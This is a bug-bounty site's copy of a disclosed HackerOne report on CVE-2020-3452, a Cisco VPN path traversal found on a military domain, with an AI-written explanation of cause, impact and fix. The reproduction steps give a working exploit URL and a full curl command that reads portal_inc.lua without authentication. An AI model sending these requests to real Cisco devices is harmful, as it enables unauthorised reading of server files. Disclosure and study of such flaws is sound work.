Skip to content
Path traversal Disclosed report Beginner CVE-2020-3452

[██████████.mil] Cisco VPN Service Path Traversal

The Cisco VPN web service on a military domain was vulnerable to CVE-2020-3452, a path traversal flaw in the translation-table endpoint. An unauthenticated attacker could read files inside the web services file system, such as a Lua portal file.

arm4nd0 Follow

Originally disclosed on HackerOne

  • Disclosed after 3 months

Summary by the program

The target server was using Cisco VPN Service, which was vulnerable to CVE-2020-3452 allowing an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files within the web services file system.

The report

Hi team.  

Summary

The Cisco VPN Service at ██████.mil is vulnerable to the CVE-2020-3452 vulnerability, which allows path traversing within the web service's file system on the targeted device.

 

Steps to Reproduce

Make a GET request to:

HTTP
https://███████.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

cURL command:

curl -i -s -k -X $'GET' \
    -H $'Host: █████.mil' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://█████.mil/+CSCOE+/logon.html?fcadbadd=1' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: webvpnlogin=1; webvpnLang=en' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'webvpnlogin=1; webvpnLang=en' \
    $'https://███.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'

..and get the content of the portal_inc.lua file. ███████

 

Impact

According to Cisco, this vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files, however, it has a CVE 7.5 (High) score.

The original report as published on HackerOne, by arm4nd0. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the translation-table endpoint passed a user-supplied language value into a file path without normalising it, so '..' sequences escaped the intended directory.

Impact

An unauthenticated attacker could read files within the web services file system, though per Cisco it cannot reach ASA or FTD system files or the underlying operating system.

What the attacker needed

No authentication needed; network access to the VPN web service

The fix

Cisco assigned CVE-2020-3452 to this flaw; affected devices should be upgraded to a fixed release.

How it was found

  1. Send a GET request to the translation-table endpoint with a crafted language parameter.
  2. Observe that the response contains the contents of the portal_inc.lua file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server sometimes builds a file path from something the visitor sends, like a language name. If it does not clean that input, someone can use '..' (meaning 'go up one folder') to step outside the intended folder and read other files. Here the VPN login page let a stranger read a file that should have stayed internal.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by arm4nd0

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.